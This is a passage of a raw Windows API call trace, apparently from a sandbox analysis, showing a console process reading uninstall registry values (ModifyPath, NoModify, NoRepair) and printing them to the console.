_File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.408] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.408] lstrlenW (lpString="ModifyPath") returned 10 [0149.408] __iob_func () returned 0x7fefd702a80 [0149.408] _fileno (_File=0x7fefd702ab0) returned 1 [0149.408] _errno () returned 0x204bb0 [0149.408] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.408] _errno () returned 0x204bb0 [0149.408] GetFileType (hFile=0x50) returned 0x1 [0149.408] lstrlenW (lpString="ModifyPath") returned 10 [0149.408] GetConsoleOutputCP () returned 0x1b5 [0149.408] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0149.408] GetConsoleOutputCP () returned 0x1b5 [0149.408] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0149.408] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0149.408] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.408] __iob_func () returned 0x7fefd702a80 [0149.408] _fileno (_File=0x7fefd702ab0) returned 1 [0149.408] _errno () returned 0x204bb0 [0149.408] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.408] _errno () returned 0x204bb0 [0149.408] GetFileType (hFile=0x50) returned 0x1 [0149.408] lstrlenW (lpString=" ") returned 4 [0149.408] GetConsoleOutputCP () returned 0x1b5 [0149.410] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.410] GetConsoleOutputCP () returned 0x1b5 [0149.411] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.411] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.411] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.411] __iob_func () returned 0x7fefd702a80 [0149.411] _fileno (_File=0x7fefd702ab0) returned 1 [0149.411] _errno () returned 0x204bb0 [0149.411] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.411] _errno () returned 0x204bb0 [0149.411] GetFileType (hFile=0x50) returned 0x1 [0149.411] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0149.411] GetConsoleOutputCP () returned 0x1b5 [0149.411] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.411] GetConsoleOutputCP () returned 0x1b5 [0149.411] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0149.411] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.411] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.411] __iob_func () returned 0x7fefd702a80 [0149.411] _fileno (_File=0x7fefd702ab0) returned 1 [0149.411] _errno () returned 0x204bb0 [0149.411] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.411] _errno () returned 0x204bb0 [0149.411] GetFileType (hFile=0x50) returned 0x1 [0149.411] lstrlenW (lpString=" ") returned 4 [0149.411] GetConsoleOutputCP () returned 0x1b5 [0149.412] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.412] GetConsoleOutputCP () returned 0x1b5 [0149.412] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.412] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.412] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.412] __iob_func () returned 0x7fefd702a80 [0149.412] _fileno (_File=0x7fefd702ab0) returned 1 [0149.412] _errno () returned 0x204bb0 [0149.412] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.412] _errno () returned 0x204bb0 [0149.412] GetFileType (hFile=0x50) returned 0x1 [0149.412] lstrlenW (lpString="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F03217071FF}") returned 52 [0149.412] GetConsoleOutputCP () returned 0x1b5 [0149.412] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F03217071FF}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0149.412] GetConsoleOutputCP () returned 0x1b5 [0149.412] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F03217071FF}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F03217071FF}", lpUsedDefaultChar=0x0) returned 52 [0149.412] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0149.412] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.412] __iob_func () returned 0x7fefd702a80 [0149.412] _fileno (_File=0x7fefd702ab0) returned 1 [0149.412] _errno () returned 0x204bb0 [0149.412] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.413] _errno () returned 0x204bb0 [0149.413] GetFileType (hFile=0x50) returned 0x1 [0149.413] lstrlenW (lpString="\n") returned 1 [0149.413] GetConsoleOutputCP () returned 0x1b5 [0149.413] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.413] GetConsoleOutputCP () returned 0x1b5 [0149.413] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.413] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.413] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.413] GetProcessHeap () returned 0x3c0000 [0149.413] GetProcessHeap () returned 0x3c0000 [0149.413] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.413] GetProcessHeap () returned 0x3c0000 [0149.413] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0149.413] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.413] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.413] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.413] GetProcessHeap () returned 0x3c0000 [0149.413] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.413] GetProcessHeap () returned 0x3c0000 [0149.413] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.413] GetProcessHeap () returned 0x3c0000 [0149.413] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.413] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.413] __iob_func () returned 0x7fefd702a80 [0149.414] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.414] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.414] _fileno (_File=0x7fefd702ab0) returned 1 [0149.414] _errno () returned 0x204bb0 [0149.414] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.414] _errno () returned 0x204bb0 [0149.414] GetFileType (hFile=0x50) returned 0x1 [0149.414] lstrlenW (lpString=" ") returned 4 [0149.414] GetConsoleOutputCP () returned 0x1b5 [0149.414] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.414] GetConsoleOutputCP () returned 0x1b5 [0149.414] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.414] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.414] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.414] lstrlenW (lpString="NoModify") returned 8 [0149.414] __iob_func () returned 0x7fefd702a80 [0149.414] _fileno (_File=0x7fefd702ab0) returned 1 [0149.414] _errno () returned 0x204bb0 [0149.414] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.414] _errno () returned 0x204bb0 [0149.414] GetFileType (hFile=0x50) returned 0x1 [0149.414] lstrlenW (lpString="NoModify") returned 8 [0149.414] GetConsoleOutputCP () returned 0x1b5 [0149.414] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.415] GetConsoleOutputCP () returned 0x1b5 [0149.415] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0149.415] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.415] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.415] __iob_func () returned 0x7fefd702a80 [0149.415] _fileno (_File=0x7fefd702ab0) returned 1 [0149.415] _errno () returned 0x204bb0 [0149.415] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.415] _errno () returned 0x204bb0 [0149.415] GetFileType (hFile=0x50) returned 0x1 [0149.415] lstrlenW (lpString=" ") returned 4 [0149.415] GetConsoleOutputCP () returned 0x1b5 [0149.415] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.415] GetConsoleOutputCP () returned 0x1b5 [0149.415] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.415] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.415] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.415] __iob_func () returned 0x7fefd702a80 [0149.415] _fileno (_File=0x7fefd702ab0) returned 1 [0149.415] _errno () returned 0x204bb0 [0149.415] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.415] _errno () returned 0x204bb0 [0149.415] GetFileType (hFile=0x50) returned 0x1 [0149.415] lstrlenW (lpString="REG_DWORD") returned 9 [0149.415] GetConsoleOutputCP () returned 0x1b5 [0149.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.416] GetConsoleOutputCP () returned 0x1b5 [0149.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.416] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.416] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.416] __iob_func () returned 0x7fefd702a80 [0149.416] _fileno (_File=0x7fefd702ab0) returned 1 [0149.416] _errno () returned 0x204bb0 [0149.416] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.416] _errno () returned 0x204bb0 [0149.416] GetFileType (hFile=0x50) returned 0x1 [0149.416] lstrlenW (lpString=" ") returned 4 [0149.416] GetConsoleOutputCP () returned 0x1b5 [0149.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.416] GetConsoleOutputCP () returned 0x1b5 [0149.416] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.416] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.416] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.416] __iob_func () returned 0x7fefd702a80 [0149.416] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.416] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.416] _fileno (_File=0x7fefd702ab0) returned 1 [0149.417] _errno () returned 0x204bb0 [0149.417] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.417] _errno () returned 0x204bb0 [0149.417] GetFileType (hFile=0x50) returned 0x1 [0149.417] lstrlenW (lpString="0x1") returned 3 [0149.417] GetConsoleOutputCP () returned 0x1b5 [0149.417] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.417] GetConsoleOutputCP () returned 0x1b5 [0149.417] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.417] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.417] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.417] __iob_func () returned 0x7fefd702a80 [0149.417] _fileno (_File=0x7fefd702ab0) returned 1 [0149.417] _errno () returned 0x204bb0 [0149.417] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.417] _errno () returned 0x204bb0 [0149.417] GetFileType (hFile=0x50) returned 0x1 [0149.417] lstrlenW (lpString="\n") returned 1 [0149.417] GetConsoleOutputCP () returned 0x1b5 [0149.417] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.417] GetConsoleOutputCP () returned 0x1b5 [0149.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.418] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.418] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.418] GetProcessHeap () returned 0x3c0000 [0149.418] GetProcessHeap () returned 0x3c0000 [0149.418] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.418] GetProcessHeap () returned 0x3c0000 [0149.418] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.418] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.418] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.418] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.418] GetProcessHeap () returned 0x3c0000 [0149.418] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.418] GetProcessHeap () returned 0x3c0000 [0149.418] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.418] GetProcessHeap () returned 0x3c0000 [0149.418] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.418] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.418] __iob_func () returned 0x7fefd702a80 [0149.418] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.418] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.418] _fileno (_File=0x7fefd702ab0) returned 1 [0149.418] _errno () returned 0x204bb0 [0149.418] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.418] _errno () returned 0x204bb0 [0149.418] GetFileType (hFile=0x50) returned 0x1 [0149.418] lstrlenW (lpString=" ") returned 4 [0149.418] GetConsoleOutputCP () returned 0x1b5 [0149.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.418] GetConsoleOutputCP () returned 0x1b5 [0149.419] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.419] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.419] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.419] lstrlenW (lpString="NoRepair") returned 8 [0149.419] __iob_func () returned 0x7fefd702a80 [0149.419] _fileno (_File=0x7fefd702ab0) returned 1 [0149.419] _errno () returned 0x204bb0 [0149.419] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.419] _errno () returned 0x204bb0 [0149.419] GetFileType (hFile=0x50) returned 0x1 [0149.419] lstrlenW (lpString="NoRepair") returned 8 [0149.419] GetConsoleOutputCP () returned 0x1b5 [0149.419] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.419] GetConsoleOutputCP () returned 0x1b5 [0149.419] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0149.419] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.419] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.419] __iob_func () returned 0x7fefd702a80 [0149.419] _fileno (_File=0x7fefd702ab0) returned 1 [0149.419] _errno () returned 0x204bb0 [0149.419] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.419] _errno () returned 0x204bb0 [0149.419] GetFileType (hFile=0x50) returned 0x1 [0149.419] lstrlenW (lpString=" ") returned 4 [0149.419] GetConsoleOutputCP () returned 0x1b5 [0149.420] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.420] GetConsoleOutputCP () returned 0x1b5 [0149.420] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.420] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.420] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.420] __iob_func () returned 0x7fefd702a80 [0149.420] _fileno (_File=0x7fefd702ab0) returned 1 [0149.420] _errno () returned 0x204bb0 [0149.420] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.420] _errno () returned 0x204bb0 [0149.420] GetFileType (hFile=0x50) returned 0x1 [0149.420] lstrlenW (lpString="REG_DWORD") returned 9 [0149.420] GetConsoleOutputCP () returned 0x1b5 [0149.420] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.420] GetConsoleOutputCP () returned 0x1b5 [0149.420] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.420] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.420] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.420] __iob_func () returned 0x7fefd702a80 [0149.420] _fileno (_File=0x7fefd702ab0) returned 1 [0149.420] _errno () returned 0x204bb0 [0149.420] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.421] _errno () returned 0x204bb0 [0149.421] GetFileType (hFile=0x50) returned 0x1 [0149.421] lstrlenW (lpString=" ") returned 4 [0149.421] GetConsoleOutputCP () returned 0x1b5 [0149.421] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.421] GetConsoleOutputCP () returned 0x1b5 [0149.421] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.421] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.421] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.421] __iob_func () returned 0x7fefd702a80 [0149.421] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.421] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.421] _fileno (_File=0x7fefd702ab0) returned 1 [0149.421] _errno () returned 0x204bb0 [0149.421] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.421] _errno () returned 0x204bb0 [0149.421] GetFileType (hFile=0x50) returned 0x1 [0149.421] lstrlenW (lpString="0x1") returned 3 [0149.421] GetConsoleOutputCP () returned 0x1b5 [0149.421] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.421] GetConsoleOutputCP () returned 0x1b5 [0149.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.422] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: 